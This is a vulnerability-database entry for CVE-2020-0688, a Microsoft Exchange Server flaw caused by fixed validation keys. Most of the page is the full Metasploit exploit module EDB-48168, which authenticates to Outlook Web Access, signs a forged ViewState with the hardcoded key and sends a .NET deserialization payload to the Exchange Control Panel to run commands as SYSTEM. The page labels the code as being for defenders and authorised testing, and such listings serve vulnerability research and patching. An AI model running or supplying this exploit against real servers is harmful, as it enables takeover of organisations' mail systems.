CVE-2020-0688

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

Microsoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.

CISA KEV

Vendor
Microsoft
Product
Exchange Server
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-48168 remote windows verified ruby ยท 7 KB
Metasploit ยท 2020-03-05

Exchange Control Panel - Viewstate Deserialization (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
  VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Exchange Control Panel Viewstate Deserialization',
        'Description'    => %q{
          This module exploits a .NET serialization vulnerability in the
          Exchange Control Panel (ECP) web page. The vulnerability is due to
          Microsoft Exchange Server not randomizing the keys on a
          per-installation basis resulting in them using the same validationKey
          and decryptionKey values. With knowledge of these, values an attacker
          can craft a special viewstate to cause an OS command to be executed
          by NT_AUTHORITY\SYSTEM using .NET deserialization.
        },
        'Author'         => 'Spencer McIntyre',
        'License'        => MSF_LICENSE,
        'References'     => [
            ['CVE', '2020-0688'],
            ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
        ],
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
            [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
            [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
          ],
        'DefaultOptions' =>
          {
            'SSL' => true
          },
        'DefaultTarget'  => 1,
        'DisclosureDate' => '2020-02-11',
        'Notes'          =>
          {
            'Stability'   => [ CRASH_SAFE, ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
            'Reliability' => [ REPEATABLE_SESSION, ],
          }
        ))

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
      OptString.new('USERNAME',  [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD',  [ true, 'The password to authenticate with' ])
    ])

    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
    ])
  end

  def check
    state = get_request_setup
    viewstate = state[:viewstate]
    return CheckCode::Unknown if viewstate.nil?

    viewstate = Rex::Text.decode_base64(viewstate)
    body = viewstate[0...-20]
    signature = viewstate[-20..-1]

    unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
      return CheckCode::Safe
    end

    # we've validated the signature matches based on the data we have and thus
    # proven that we are capable of signing a viewstate ourselves
    CheckCode::Vulnerable
  end

  def generate_viewstate(generator, session_id, cmd)
    viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
    signature = generate_viewstate_signature(generator, session_id, viewstate)
    Rex::Text.encode_base64(viewstate + signature)
  end

  def generate_viewstate_signature(generator, session_id, viewstate)
    mac_key_bytes  = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
    mac_key_bytes << Rex::Text.to_unicode(session_id)
    OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
  end

  def exploit
    state = get_request_setup

    # the major limit is the max length of a GET request, the command will be
    # XML escaped and then base64 encoded which both increase the size
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded, opts={state: state})
    else
      cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
      execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
    end
  end

  def execute_command(cmd, opts)
    state = opts[:state]
    viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
    5.times do |iteration|
      # this request *must* be a GET request, can't use POST to use a larger viewstate
      send_request_cgi({
        'uri'      => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
        'cookie'   => state[:cookies].join(''),
        'agent'    => state[:user_agent],
        'vars_get' => {
          '__VIEWSTATE'          => viewstate,
          '__VIEWSTATEGENERATOR' => state[:viewstate_generator]
        }
      })
      break
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
      sleep iteration
    end
  end

  def get_request_setup
    # need to use a newer default user-agent than what Metasploit currently provides
    # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
      'method'        => 'POST',
      'agent'         => user_agent,
      'vars_post'     => {
        'password'    => datastore['PASSWORD'],
        'flags'       => '4',
        'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
        'username'    => datastore['USERNAME']
      }
    })
    fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
    cookies = [res.get_cookies]

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
      'cookie' => res.get_cookies,
      'agent'  => user_agent
    })
    fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
    cookies << res.get_cookies

    viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
    if viewstate_generator.nil?
      print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
      viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
    else
      vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
    end

    viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
    if viewstate.nil?
      vprint_warning('Failed to find the __VIEWSTATE value')
    end

    session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
    if session_id.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
    end
    vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

    {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
  end
end
EDB-48153 remote windows
Photubias ยท 2020-03-02

Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution

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Metasploit modules

Exchange Control Panel ViewState Deserialization
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References

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